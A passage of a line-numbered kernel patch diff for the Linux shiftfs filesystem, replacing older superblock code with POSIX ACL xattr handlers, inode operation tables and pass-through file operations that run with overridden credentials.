-+ struct inode *loweri = inode->i_private; |
2143 |
-+ const struct cred *oldcred; |
2144 |
-+ struct posix_acl *lower_acl, *acl = NULL; |
2145 |
-+ struct user_namespace *from_ns = loweri->i_sb->s_user_ns; |
2146 |
-+ struct user_namespace *to_ns = inode->i_sb->s_user_ns; |
2147 |
-+ int size; |
2148 |
-+ int err; |
2149 |
- |
2150 |
-- if (ssi->mark) |
2151 |
-- seq_show_option(m, "mark", NULL); |
2152 |
-+ if (!IS_POSIXACL(loweri)) |
2153 |
-+ return NULL; |
2154 |
- |
2155 |
-- return 0; |
2156 |
--} |
2157 |
-+ oldcred = shiftfs_override_creds(inode->i_sb); |
2158 |
-+ lower_acl = get_acl(loweri, type); |
2159 |
-+ revert_creds(oldcred); |
2160 |
- |
2161 |
--static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf) |
2162 |
--{ |
2163 |
-- struct super_block *sb = dentry->d_sb; |
2164 |
-- struct shiftfs_super_info *ssi = sb->s_fs_info; |
2165 |
-- struct dentry *root = sb->s_root; |
2166 |
-- struct dentry *realroot = root->d_fsdata; |
2167 |
-- struct path realpath = { .mnt = ssi->mnt, .dentry = realroot }; |
2168 |
-- int err; |
2169 |
-+ if (lower_acl && !IS_ERR(lower_acl)) { |
2170 |
-+ /* XXX: export posix_acl_clone? */ |
2171 |
-+ size = sizeof(struct posix_acl) + |
2172 |
-+ lower_acl->a_count * sizeof(struct posix_acl_entry); |
2173 |
-+ acl = kmemdup(lower_acl, size, GFP_KERNEL); |
2174 |
-+ posix_acl_release(lower_acl); |
2175 |
- |
2176 |
-- err = vfs_statfs(&realpath, buf); |
2177 |
-- if (err) |
2178 |
-- return err; |
2179 |
-+ if (!acl) |
2180 |
-+ return ERR_PTR(-ENOMEM); |
2181 |
- |
2182 |
-- buf->f_type = sb->s_magic; |
2183 |
-+ refcount_set(&acl->a_refcount, 1); |
2184 |
- |
2185 |
-- return 0; |
2186 |
-+ err = shift_acl_ids(from_ns, to_ns, acl); |
2187 |
-+ if (err) { |
2188 |
-+ kfree(acl); |
2189 |
-+ return ERR_PTR(err); |
2190 |
-+ } |
2191 |
-+ } |
2192 |
-+ |
2193 |
-+ return acl; |
2194 |
- } |
2195 |
- |
2196 |
--static void shiftfs_put_super(struct super_block *sb) |
2197 |
-+static int |
2198 |
-+shiftfs_posix_acl_xattr_get(const struct xattr_handler *handler, |
2199 |
-+ struct dentry *dentry, struct inode *inode, |
2200 |
-+ const char *name, void *buffer, size_t size) |
2201 |
- { |
2202 |
-- struct shiftfs_super_info *ssi = sb->s_fs_info; |
2203 |
-+ struct inode *loweri = inode->i_private; |
2204 |
-+ int ret; |
2205 |
-+ |
2206 |
-+ ret = shiftfs_xattr_get(NULL, dentry, inode, handler->name, |
2207 |
-+ buffer, size); |
2208 |
-+ if (ret < 0) |
2209 |
-+ return ret; |
2210 |
- |
2211 |
-- mntput(ssi->mnt); |
2212 |
-- put_user_ns(ssi->userns); |
2213 |
-- kfree(ssi); |
2214 |
-+ inode_lock(loweri); |
2215 |
-+ shift_acl_xattr_ids(loweri->i_sb->s_user_ns, inode->i_sb->s_user_ns, |
2216 |
-+ buffer, size); |
2217 |
-+ inode_unlock(loweri); |
2218 |
-+ return ret; |
2219 |
- } |
2220 |
- |
2221 |
--static const struct xattr_handler shiftfs_xattr_handler = { |
2222 |
-- .prefix = "", |
2223 |
-- .get = shiftfs_xattr_get, |
2224 |
-- .set = shiftfs_xattr_set, |
2225 |
--}; |
2226 |
-+static int |
2227 |
-+shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler, |
2228 |
-+ struct dentry *dentry, struct inode *inode, |
2229 |
-+ const char *name, const void *value, |
2230 |
-+ size_t size, int flags) |
2231 |
-+{ |
2232 |
-+ struct inode *loweri = inode->i_private; |
2233 |
-+ int err; |
2234 |
- |
2235 |
--const struct xattr_handler *shiftfs_xattr_handlers[] = { |
2236 |
-- &shiftfs_xattr_handler, |
2237 |
-- NULL |
2238 |
--}; |
2239 |
-+ if (!IS_POSIXACL(loweri) || !loweri->i_op->set_acl) |
2240 |
-+ return -EOPNOTSUPP; |
2241 |
-+ if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) |
2242 |
-+ return value ? -EACCES : 0; |
2243 |
-+ if (!inode_owner_or_capable(inode)) |
2244 |
-+ return -EPERM; |
2245 |
-+ |
2246 |
-+ if (value) { |
2247 |
-+ shift_acl_xattr_ids(inode->i_sb->s_user_ns, |
2248 |
-+ loweri->i_sb->s_user_ns, |
2249 |
-+ (void *)value, size); |
2250 |
-+ err = shiftfs_setxattr(dentry, inode, handler->name, value, |
2251 |
-+ size, flags); |
2252 |
-+ } else { |
2253 |
-+ err = shiftfs_removexattr(dentry, handler->name); |
2254 |
-+ } |
2255 |
- |
2256 |
--static const struct super_operations shiftfs_super_ops = { |
2257 |
-- .put_super = shiftfs_put_super, |
2258 |
-- .show_options = shiftfs_show_options, |
2259 |
-- .statfs = shiftfs_statfs, |
2260 |
-+ if (!err) |
2261 |
-+ shiftfs_copyattr(loweri, inode); |
2262 |
-+ |
2263 |
-+ return err; |
2264 |
-+} |
2265 |
-+ |
2266 |
-+static const struct xattr_handler |
2267 |
-+shiftfs_posix_acl_access_xattr_handler = { |
2268 |
-+ .name = XATTR_NAME_POSIX_ACL_ACCESS, |
2269 |
-+ .flags = ACL_TYPE_ACCESS, |
2270 |
-+ .get = shiftfs_posix_acl_xattr_get, |
2271 |
-+ .set = shiftfs_posix_acl_xattr_set, |
2272 |
- }; |
2273 |
- |
2274 |
--struct shiftfs_data { |
2275 |
-- void *data; |
2276 |
-- const char *path; |
2277 |
-+static const struct xattr_handler |
2278 |
-+shiftfs_posix_acl_default_xattr_handler = { |
2279 |
-+ .name = XATTR_NAME_POSIX_ACL_DEFAULT, |
2280 |
-+ .flags = ACL_TYPE_DEFAULT, |
2281 |
-+ .get = shiftfs_posix_acl_xattr_get, |
2282 |
-+ .set = shiftfs_posix_acl_xattr_set, |
2283 |
- }; |
2284 |
- |
2285 |
--static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
2286 |
-- int silent) |
2287 |
--{ |
2288 |
-- struct shiftfs_data *data = raw_data; |
2289 |
-- char *name = kstrdup(data->path, GFP_KERNEL); |
2290 |
-- int err = -ENOMEM; |
2291 |
-- struct shiftfs_super_info *ssi = NULL; |
2292 |
-- struct path path; |
2293 |
-- struct dentry *dentry; |
2294 |
-+#else /* !CONFIG_SHIFT_FS_POSIX_ACL */ |
2295 |
- |
2296 |
-- if (!name) |
2297 |
-- goto out; |
2298 |
-+#define shiftfs_get_acl NULL |
2299 |
- |
2300 |
-- ssi = kzalloc(sizeof(*ssi), GFP_KERNEL); |
2301 |
-- if (!ssi) |
2302 |
-- goto out; |
2303 |
-+#endif /* CONFIG_SHIFT_FS_POSIX_ACL */ |
2304 |
- |
2305 |
-- err = -EPERM; |
2306 |
-- err = shiftfs_parse_options(ssi, data->data); |
2307 |
-+static const struct inode_operations shiftfs_dir_inode_operations = { |
2308 |
-+ .lookup = shiftfs_lookup, |
2309 |
-+ .mkdir = shiftfs_mkdir, |
2310 |
-+ .symlink = shiftfs_symlink, |
2311 |
-+ .unlink = shiftfs_unlink, |
2312 |
-+ .rmdir = shiftfs_rmdir, |
2313 |
-+ .rename = shiftfs_rename, |
2314 |
-+ .link = shiftfs_link, |
2315 |
-+ .setattr = shiftfs_setattr, |
2316 |
-+ .create = shiftfs_create, |
2317 |
-+ .mknod = shiftfs_mknod, |
2318 |
-+ .permission = shiftfs_permission, |
2319 |
-+ .getattr = shiftfs_getattr, |
2320 |
-+ .listxattr = shiftfs_listxattr, |
2321 |
-+ .get_acl = shiftfs_get_acl, |
2322 |
-+}; |
2323 |
-+ |
2324 |
-+static const struct inode_operations shiftfs_file_inode_operations = { |
2325 |
-+ .fiemap = shiftfs_fiemap, |
2326 |
-+ .getattr = shiftfs_getattr, |
2327 |
-+ .get_acl = shiftfs_get_acl, |
2328 |
-+ .listxattr = shiftfs_listxattr, |
2329 |
-+ .permission = shiftfs_permission, |
2330 |
-+ .setattr = shiftfs_setattr, |
2331 |
-+ .tmpfile = shiftfs_tmpfile, |
2332 |
-+}; |
2333 |
-+ |
2334 |
-+static const struct inode_operations shiftfs_special_inode_operations = { |
2335 |
-+ .getattr = shiftfs_getattr, |
2336 |
-+ .get_acl = shiftfs_get_acl, |
2337 |
-+ .listxattr = shiftfs_listxattr, |
2338 |
-+ .permission = shiftfs_permission, |
2339 |
-+ .setattr = shiftfs_setattr, |
2340 |
-+}; |
2341 |
-+ |
2342 |
-+static const struct inode_operations shiftfs_symlink_inode_operations = { |
2343 |
-+ .getattr = shiftfs_getattr, |
2344 |
-+ .get_link = shiftfs_get_link, |
2345 |
-+ .listxattr = shiftfs_listxattr, |
2346 |
-+ .setattr = shiftfs_setattr, |
2347 |
-+}; |
2348 |
-+ |
2349 |
-+static struct file *shiftfs_open_realfile(const struct file *file, |
2350 |
-+ struct path *realpath) |
2351 |
-+{ |
2352 |
-+ struct file *lowerf; |
2353 |
-+ const struct cred *oldcred; |
2354 |
-+ struct inode *inode = file_inode(file); |
2355 |
-+ struct inode *loweri = realpath->dentry->d_inode; |
2356 |
-+ struct shiftfs_super_info *info = inode->i_sb->s_fs_info; |
2357 |
-+ |
2358 |
-+ oldcred = shiftfs_override_creds(inode->i_sb); |
2359 |
-+ /* XXX: open_with_fake_path() not gauranteed to stay around, if |
2360 |
-+ * removed use dentry_open() */ |
2361 |
-+ lowerf = open_with_fake_path(realpath, file->f_flags, loweri, info->creator_cred); |
2362 |
-+ revert_creds(oldcred); |
2363 |
-+ |
2364 |
-+ return lowerf; |
2365 |
-+} |
2366 |
-+ |
2367 |
-+#define SHIFTFS_SETFL_MASK (O_APPEND | O_NONBLOCK | O_NDELAY | O_DIRECT) |
2368 |
-+ |
2369 |
-+static int shiftfs_change_flags(struct file *file, unsigned int flags) |
2370 |
-+{ |
2371 |
-+ struct inode *inode = file_inode(file); |
2372 |
-+ int err; |
2373 |
-+ |
2374 |
-+ /* if some flag changed that cannot be changed then something's amiss */ |
2375 |
-+ if (WARN_ON((file->f_flags ^ flags) & ~SHIFTFS_SETFL_MASK)) |
2376 |
-+ return -EIO; |
2377 |
-+ |
2378 |
-+ flags &= SHIFTFS_SETFL_MASK; |
2379 |
-+ |
2380 |
-+ if (((flags ^ file->f_flags) & O_APPEND) && IS_APPEND(inode)) |
2381 |
-+ return -EPERM; |
2382 |
-+ |
2383 |
-+ if (flags & O_DIRECT) { |
2384 |
-+ if (!file->f_mapping->a_ops || |
2385 |
-+ !file->f_mapping->a_ops->direct_IO) |
2386 |
-+ return -EINVAL; |
2387 |
-+ } |
2388 |
-+ |
2389 |
-+ if (file->f_op->check_flags) { |
2390 |
-+ err = file->f_op->check_flags(flags); |
2391 |
-+ if (err) |
2392 |
-+ return err; |
2393 |
-+ } |
2394 |
-+ |
2395 |
-+ spin_lock(&file->f_lock); |
2396 |
-+ file->f_flags = (file->f_flags & ~SHIFTFS_SETFL_MASK) | flags; |
2397 |
-+ spin_unlock(&file->f_lock); |
2398 |
-+ |
2399 |
-+ return 0; |
2400 |
-+} |
2401 |
-+ |
2402 |
-+static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
2403 |
-+{ |
2404 |
-+ struct shiftfs_file_info *file_info = file->private_data; |
2405 |
-+ struct file *realfile = file_info->realfile; |
2406 |
-+ |
2407 |
-+ lowerfd->flags = 0; |
2408 |
-+ lowerfd->file = realfile; |
2409 |
-+ |
2410 |
-+ /* Did the flags change since open? */ |
2411 |
-+ if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) |
2412 |
-+ return shiftfs_change_flags(lowerfd->file, file->f_flags); |
2413 |
-+ |
2414 |
-+ return 0; |
2415 |
-+} |
2416 |
-+ |
2417 |
-+static int shiftfs_open(struct inode *inode, struct file *file) |
2418 |
-+{ |
2419 |
-+ struct shiftfs_super_info *ssi = inode->i_sb->s_fs_info; |
2420 |
-+ struct shiftfs_file_info *file_info; |
2421 |
-+ struct file *realfile; |
2422 |
-+ struct path *realpath; |
2423 |
-+ |
2424 |
-+ file_info = kmem_cache_zalloc(shiftfs_file_info_cache, GFP_KERNEL); |
2425 |
-+ if (!file_info) |
2426 |
-+ return -ENOMEM; |
2427 |
-+ |
2428 |
-+ realpath = &file_info->realpath; |
2429 |
-+ realpath->mnt = ssi->mnt; |
2430 |
-+ realpath->dentry = file->f_path.dentry->d_fsdata; |
2431 |
-+ |
2432 |
-+ realfile = shiftfs_open_realfile(file, realpath); |
2433 |
-+ if (IS_ERR(realfile)) { |
2434 |
-+ kmem_cache_free(shiftfs_file_info_cache, file_info); |
2435 |
-+ return PTR_ERR(realfile); |
2436 |
-+ } |
2437 |
-+ |
2438 |
-+ file->private_data = file_info; |
2439 |
-+ file_info->realfile = realfile; |
2440 |
-+ return 0; |
2441 |
-+} |
2442 |
-+ |
2443 |
-+static int shiftfs_release(struct inode *inode, struct file *file) |
2444 |
-+{ |
2445 |
-+ struct shiftfs_file_info *file_info = file->private_data; |
2446 |
-+ |
2447 |
-+ if (file_info) { |
2448 |
-+ if (file_info->realfile) |
2449 |
-+ fput(file_info->realfile); |
2450 |
-+ |
2451 |
-+ kmem_cache_free(shiftfs_file_info_cache, file_info); |
2452 |
-+ } |
2453 |
-+ |
2454 |
-+ return 0; |
2455 |
-+} |
2456 |
-+ |
2457 |
-+static loff_t shiftfs_llseek(struct file *file, loff_t offset, int whence) |
2458 |
-+{ |
2459 |
-+ struct inode *realinode = file_inode(file)->i_private; |
2460 |
-+ |
2461 |
-+ return generic_file_llseek_size(file, offset, whence, |
2462 |
-+ realinode->i_sb->s_maxbytes, |
2463 |
-+ i_size_read(realinode)); |
2464 |
-+} |
2465 |
-+ |
2466 |
-+/* XXX: Need to figure out what to to about atime updates, maybe other |
2467 |
-+ * timestamps too ... ref. ovl_file_accessed() */ |
2468 |
-+ |
2469 |
-+static rwf_t shiftfs_iocb_to_rwf(struct kiocb *iocb) |
2470 |
-+{ |
2471 |
-+ int ifl = iocb->ki_flags; |
2472 |
-+ rwf_t flags = 0; |
2473 |
-+ |
2474 |
-+ if (ifl & IOCB_NOWAIT) |
2475 |
-+ flags |= RWF_NOWAIT; |
2476 |
-+ if (ifl & IOCB_HIPRI) |
2477 |
-+ flags |= RWF_HIPRI; |
2478 |
-+ if (ifl & IOCB_DSYNC) |
2479 |
-+ flags |= RWF_DSYNC; |
2480 |
-+ if (ifl & IOCB_SYNC) |
2481 |
-+ flags |= RWF_SYNC; |
2482 |
-+ |
2483 |
-+ return flags; |
2484 |
-+} |
2485 |
-+ |
2486 |
-+static ssize_t shiftfs_read_iter(struct kiocb *iocb, struct iov_iter *iter) |
2487 |
-+{ |
2488 |
-+ struct file *file = iocb->ki_filp; |
2489 |
-+ struct fd lowerfd; |
2490 |
-+ const struct cred *oldcred; |
2491 |
-+ ssize_t ret; |
2492 |
-+ |
2493 |
-+ if (!iov_iter_count(iter)) |
2494 |
-+ return 0; |
2495 |
-+ |
2496 |
-+ ret = shiftfs_real_fdget(file, &lowerfd); |
2497 |
-+ if (ret) |
2498 |
-+ return ret; |
2499 |
-+ |
2500 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2501 |
-+ ret = vfs_iter_read(lowerfd.file, iter, &iocb->ki_pos, |
2502 |
-+ shiftfs_iocb_to_rwf(iocb)); |
2503 |
-+ revert_creds(oldcred); |
2504 |
-+ |
2505 |
-+ shiftfs_file_accessed(file); |
2506 |
-+ |
2507 |
-+ fdput(lowerfd); |
2508 |
-+ return ret; |
2509 |
-+} |
2510 |
-+ |
2511 |
-+static ssize_t shiftfs_write_iter(struct kiocb *iocb, struct iov_iter *iter) |
2512 |
-+{ |
2513 |
-+ struct file *file = iocb->ki_filp; |
2514 |
-+ struct inode *inode = file_inode(file); |
2515 |
-+ struct fd lowerfd; |
2516 |
-+ const struct cred *oldcred; |
2517 |
-+ ssize_t ret; |
2518 |
-+ |
2519 |
-+ if (!iov_iter_count(iter)) |
2520 |
-+ return 0; |
2521 |
-+ |
2522 |
-+ inode_lock(inode); |
2523 |
-+ /* Update mode */ |
2524 |
-+ shiftfs_copyattr(inode->i_private, inode); |
2525 |
-+ ret = file_remove_privs(file); |
2526 |
-+ if (ret) |
2527 |
-+ goto out_unlock; |
2528 |
-+ |
2529 |
-+ ret = shiftfs_real_fdget(file, &lowerfd); |
2530 |
-+ if (ret) |
2531 |
-+ goto out_unlock; |
2532 |
-+ |
2533 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2534 |
-+ file_start_write(lowerfd.file); |
2535 |
-+ ret = vfs_iter_write(lowerfd.file, iter, &iocb->ki_pos, |
2536 |
-+ shiftfs_iocb_to_rwf(iocb)); |
2537 |
-+ file_end_write(lowerfd.file); |
2538 |
-+ revert_creds(oldcred); |
2539 |
-+ |
2540 |
-+ /* Update size */ |
2541 |
-+ shiftfs_copyattr(inode->i_private, inode); |
2542 |
-+ |
2543 |
-+ fdput(lowerfd); |
2544 |
-+ |
2545 |
-+out_unlock: |
2546 |
-+ inode_unlock(inode); |
2547 |
-+ return ret; |
2548 |
-+} |
2549 |
-+ |
2550 |
-+static int shiftfs_fsync(struct file *file, loff_t start, loff_t end, |
2551 |
-+ int datasync) |
2552 |
-+{ |
2553 |
-+ struct fd lowerfd; |
2554 |
-+ const struct cred *oldcred; |
2555 |
-+ int ret; |
2556 |
-+ |
2557 |
-+ ret = shiftfs_real_fdget(file, &lowerfd); |
2558 |
-+ if (ret) |
2559 |
-+ return ret; |
2560 |
-+ |
2561 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2562 |
-+ ret = vfs_fsync_range(lowerfd.file, start, end, datasync); |
2563 |
-+ revert_creds(oldcred); |
2564 |
-+ |
2565 |
-+ fdput(lowerfd); |
2566 |
-+ return ret; |
2567 |
-+} |
2568 |
-+ |
2569 |
-+static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma) |
2570 |
-+{ |
2571 |
-+ struct shiftfs_file_info *file_info = file->private_data; |
2572 |
-+ struct file *realfile = file_info->realfile; |
2573 |
-+ const struct cred *oldcred; |
2574 |
-+ int ret; |
2575 |
-+ |
2576 |
-+ if (!realfile->f_op->mmap) |
2577 |
-+ return -ENODEV; |
2578 |
-+ |
2579 |
-+ if (WARN_ON(file != vma->vm_file)) |
2580 |
-+ return -EIO; |
2581 |
-+ |
2582 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2583 |
-+ vma->vm_file = get_file(realfile); |
2584 |
-+ ret = call_mmap(vma->vm_file, vma); |
2585 |
-+ revert_creds(oldcred); |
2586 |
-+ |
2587 |
-+ shiftfs_file_accessed(file); |
2588 |
-+ |
2589 |
-+ if (ret) |
2590 |
-+ fput(realfile); /* Drop refcount from new vm_file value */ |
2591 |
-+ else |
2592 |
-+ fput(file); /* Drop refcount from previous vm_file value */ |
2593 |
-+ |
2594 |
-+ return ret; |
2595 |
-+} |
2596 |
-+ |
2597 |
-+static long shiftfs_fallocate(struct file *file, int mode, loff_t offset, |
2598 |
-+ loff_t len) |
2599 |
-+{ |
2600 |
-+ struct inode *inode = file_inode(file); |
2601 |
-+ struct inode *loweri = inode->i_private; |
2602 |
-+ struct fd lowerfd; |
2603 |
-+ const struct cred *oldcred; |
2604 |
-+ int ret; |
2605 |
-+ |
2606 |
-+ ret = shiftfs_real_fdget(file, &lowerfd); |
2607 |
-+ if (ret) |
2608 |
-+ return ret; |
2609 |
-+ |
2610 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2611 |
-+ ret = vfs_fallocate(lowerfd.file, mode, offset, len); |
2612 |
-+ revert_creds(oldcred); |
2613 |
-+ |
2614 |
-+ /* Update size */ |
2615 |
-+ shiftfs_copyattr(loweri, inode); |
2616 |
-+ |
2617 |
-+ fdput(lowerfd); |
2618 |
-+ return ret; |
2619 |
-+} |
2620 |
-+ |
2621 |
-+static int shiftfs_fadvise(struct file *file, loff_t offset, loff_t len, |
2622 |
-+ int advice) |
2623 |
-+{ |
2624 |
-+ struct fd lowerfd; |
2625 |
-+ const struct cred *oldcred; |
2626 |
-+ int ret; |
2627 |
-+ |
2628 |
-+ ret = shiftfs_real_fdget(file, &lowerfd); |
2629 |
-+ if (ret) |
2630 |
-+ return ret; |
2631 |
-+ |
2632 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2633 |
-+ ret = vfs_fadvise(lowerfd.file, offset, len, advice); |
2634 |
-+ revert_creds(oldcred); |
2635 |
-+ |
2636 |
-+ fdput(lowerfd); |
2637 |
-+ return ret; |
2638 |
-+} |
2639 |
-+ |
2640 |
-+static int shiftfs_override_ioctl_creds(const struct super_block *sb, |
2641 |
-+ const struct cred **oldcred, |
2642 |
-+ struct cred **newcred) |
2643 |
-+{ |
2644 |
-+ kuid_t fsuid = current_fsuid(); |
2645 |
-+ kgid_t fsgid = current_fsgid(); |
2646 |
-+ |
2647 |
-+ *oldcred = shiftfs_override_creds(sb); |
2648 |
-+ |
2649 |
-+ *newcred = prepare_creds(); |
2650 |
-+ if (!*newcred) { |
2651 |
-+ revert_creds(*oldcred); |
2652 |
-+ return -ENOMEM; |
2653 |
-+ } |
2654 |
-+ |
2655 |
-+ (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid)); |
2656 |
-+ (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid)); |
2657 |
-+ |
2658 |
-+ /* clear all caps to prevent bypassing capable() checks */ |
2659 |
-+ cap_clear((*newcred)->cap_bset); |
2660 |
-+ cap_clear((*newcred)->cap_effective); |
2661 |
-+ cap_clear((*newcred)->cap_inheritable); |
2662 |
-+ cap_clear((*newcred)->cap_permitted); |
2663 |
-+ |
2664 |
-+ put_cred(override_creds(*newcred)); |
2665 |
-+ return 0; |
2666 |
-+} |
2667 |
-+ |
2668 |
-+static inline void shiftfs_revert_ioctl_creds(const struct cred *oldcred, |
2669 |
-+ struct cred *newcred) |
2670 |
-+{ |
2671 |
-+ return shiftfs_revert_object_creds(oldcred, newcred); |
2672 |
-+} |
2673 |
-+ |
2674 |
-+static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
2675 |
-+ unsigned long arg) |
2676 |
-+{ |
2677 |
-+ long ret = 0; |
2678 |
-+ struct fd lowerfd; |
2679 |
-+ struct cred *newcred; |
2680 |
-+ const struct cred *oldcred; |
2681 |
-+ struct super_block *sb = file->f_path.dentry->d_sb; |
2682 |
-+ |
2683 |
-+ ret = shiftfs_real_fdget(file, &lowerfd); |
2684 |
-+ if (ret) |
2685 |
-+ return ret; |
2686 |
-+ |
2687 |
-+ ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred); |
2688 |
-+ if (ret) |
2689 |
-+ goto out_fdput; |
2690 |
-+ |
2691 |
-+ ret = vfs_ioctl(lowerfd.file, cmd, arg); |
2692 |
-+ |
2693 |
-+ shiftfs_revert_ioctl_creds(oldcred, newcred); |
2694 |
-+ |
2695 |
-+ shiftfs_copyattr(file_inode(lowerfd.file), file_inode(file)); |
2696 |
-+ shiftfs_copyflags(file_inode(lowerfd.file), file_inode(file)); |
2697 |
-+ |
2698 |
-+out_fdput: |
2699 |
-+ fdput(lowerfd); |
2700 |
-+ |
2701 |
-+ return ret; |
2702 |
-+} |
2703 |
-+ |
2704 |
-+static long shiftfs_ioctl(struct file *file, unsigned int cmd, |
2705 |
-+ unsigned long arg) |
2706 |
-+{ |
2707 |
-+ switch (cmd) { |
2708 |
-+ case FS_IOC_GETVERSION: |
2709 |
-+ /* fall through */ |
2710 |
-+ case FS_IOC_GETFLAGS: |
2711 |
-+ /* fall through */ |
2712 |
-+ case FS_IOC_SETFLAGS: |
2713 |
-+ break; |
2714 |
-+ default: |
2715 |
-+ return -ENOTTY; |
2716 |
-+ } |
2717 |
-+ |
2718 |
-+ return shiftfs_real_ioctl(file, cmd, arg); |
2719 |
-+} |
2720 |
-+ |
2721 |
-+static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd, |
2722 |
-+ unsigned long arg) |
2723 |
-+{ |
2724 |
-+ switch (cmd) { |
2725 |
-+ case FS_IOC32_GETVERSION: |
2726 |
-+ /* fall through */ |
2727 |
-+ case FS_IOC32_GETFLAGS: |
2728 |
-+ /* fall through */ |
2729 |
-+ case FS_IOC32_SETFLAGS: |
2730 |
-+ break; |
2731 |
-+ default: |
2732 |
-+ return -ENOIOCTLCMD; |
2733 |
-+ } |
2734 |
-+ |
2735 |
-+ return shiftfs_real_ioctl(file, cmd, arg); |
2736 |
-+} |
2737 |
-+ |
2738 |
-+enum shiftfs_copyop { |
2739 |
-+ SHIFTFS_COPY, |
2740 |
-+ SHIFTFS_CLONE, |
2741 |
-+ SHIFTFS_DEDUPE, |
2742 |
-+}; |
2743 |
-+ |
2744 |
-+static ssize_t shiftfs_copyfile(struct file *file_in, loff_t pos_in, |
2745 |
-+ struct file *file_out, loff_t pos_out, u64 len, |
2746 |
-+ unsigned int flags, enum shiftfs_copyop op) |
2747 |
-+{ |
2748 |
-+ ssize_t ret; |
2749 |
-+ struct fd real_in, real_out; |
2750 |
-+ const struct cred *oldcred; |
2751 |
-+ struct inode *inode_out = file_inode(file_out); |
2752 |
-+ struct inode *loweri = inode_out->i_private; |
2753 |
-+ |
2754 |
-+ ret = shiftfs_real_fdget(file_out, &real_out); |
2755 |
-+ if (ret) |
2756 |
-+ return ret; |
2757 |
-+ |
2758 |
-+ ret = shiftfs_real_fdget(file_in, &real_in); |
2759 |
-+ if (ret) { |
2760 |
-+ fdput(real_out); |
2761 |
-+ return ret; |
2762 |
-+ } |
2763 |
-+ |
2764 |
-+ oldcred = shiftfs_override_creds(inode_out->i_sb); |
2765 |
-+ switch (op) { |
2766 |
-+ case SHIFTFS_COPY: |
2767 |
-+ ret = vfs_copy_file_range(real_in.file, pos_in, real_out.file, |
2768 |
-+ pos_out, len, flags); |
2769 |
-+ break; |
2770 |
-+ |
2771 |
-+ case SHIFTFS_CLONE: |
2772 |
-+ ret = vfs_clone_file_range(real_in.file, pos_in, real_out.file, |
2773 |
-+ pos_out, len, flags); |
2774 |
-+ break; |
2775 |
-+ |
2776 |
-+ case SHIFTFS_DEDUPE: |
2777 |
-+ ret = vfs_dedupe_file_range_one(real_in.file, pos_in, |
2778 |
-+ real_out.file, pos_out, len, |
2779 |
-+ flags); |
2780 |
-+ break; |
2781 |
-+ } |
2782 |
-+ revert_creds(oldcred); |
2783 |
-+ |
2784 |
-+ /* Update size */ |
2785 |
-+ shiftfs_copyattr(loweri, inode_out); |
2786 |
-+ |
2787 |
-+ fdput(real_in); |
2788 |
-+ fdput(real_out); |
2789 |
-+ |
2790 |
-+ return ret; |
2791 |
-+} |
2792 |
-+ |
2793 |
-+static ssize_t shiftfs_copy_file_range(struct file *file_in, loff_t pos_in, |
2794 |
-+ struct file *file_out, loff_t pos_out, |
2795 |
-+ size_t len, unsigned int flags) |
2796 |
-+{ |
2797 |
-+ return shiftfs_copyfile(file_in, pos_in, file_out, pos_out, len, flags, |
2798 |
-+ SHIFTFS_COPY); |
2799 |
-+} |
2800 |
-+ |
2801 |
-+static loff_t shiftfs_remap_file_range(struct file *file_in, loff_t pos_in, |
2802 |
-+ struct file *file_out, loff_t pos_out, |
2803 |
-+ loff_t len, unsigned int remap_flags) |
2804 |
-+{ |
2805 |
-+ enum shiftfs_copyop op; |
2806 |
-+ |
2807 |
-+ if (remap_flags & ~(REMAP_FILE_DEDUP | REMAP_FILE_ADVISORY)) |
2808 |
-+ return -EINVAL; |
2809 |
-+ |
2810 |
-+ if (remap_flags & REMAP_FILE_DEDUP) |
2811 |
-+ op = SHIFTFS_DEDUPE; |
2812 |
-+ else |
2813 |
-+ op = SHIFTFS_CLONE; |
2814 |
-+ |
2815 |
-+ return shiftfs_copyfile(file_in, pos_in, file_out, pos_out, len, |
2816 |
-+ remap_flags, op); |
2817 |
-+} |
2818 |
-+ |
2819 |
-+static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx) |
2820 |
-+{ |
2821 |
-+ const struct cred *oldcred; |
2822 |
-+ int err = -ENOTDIR; |
2823 |
-+ struct shiftfs_file_info *file_info = file->private_data; |
2824 |
-+ struct file *realfile = file_info->realfile; |
2825 |
-+ |
2826 |
-+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb); |
2827 |
-+ err = iterate_dir(realfile, ctx); |
2828 |
-+ revert_creds(oldcred); |
2829 |
-+ |
2830 |
-+ return err; |
2831 |
-+} |
2832 |
-+ |
2833 |
-+const struct file_operations shiftfs_file_operations = { |
2834 |
-+ .open = shiftfs_open, |
2835 |
-+ .release = shiftfs_release, |
2836 |
-+ .llseek = shiftfs_llseek, |
2837 |
-+ .read_iter = shiftfs_read_iter, |
2838 |
-+ .write_iter = shiftfs_write_iter, |
2839 |
-+ .fsync = shiftfs_fsync, |
2840 |
-+ .mmap = shiftfs_mmap, |
2841 |
-+ .fallocate = shiftfs_fallocate, |
2842 |
-+ .fadvise = shiftfs_fadvise, |
2843 |
-+ .unlocked_ioctl = shiftfs_ioctl, |
2844 |
-+ .compat_ioctl = shiftfs_compat_ioctl, |
2845 |
-+ .copy_file_range = shiftfs_copy_file_range, |
2846 |
-+ .remap_file_range = shiftfs_remap_file_range, |
2847 |
-+}; |
2848 |
-+ |
2849 |
-+const struct file_operations shiftfs_dir_operations = { |
2850 |
-+ .compat_ioctl = shiftfs_compat_ioctl, |
2851 |
-+ .fsync = shiftfs_fsync, |
2852 |
-+ .iterate_shared = shiftfs_iterate_shared, |
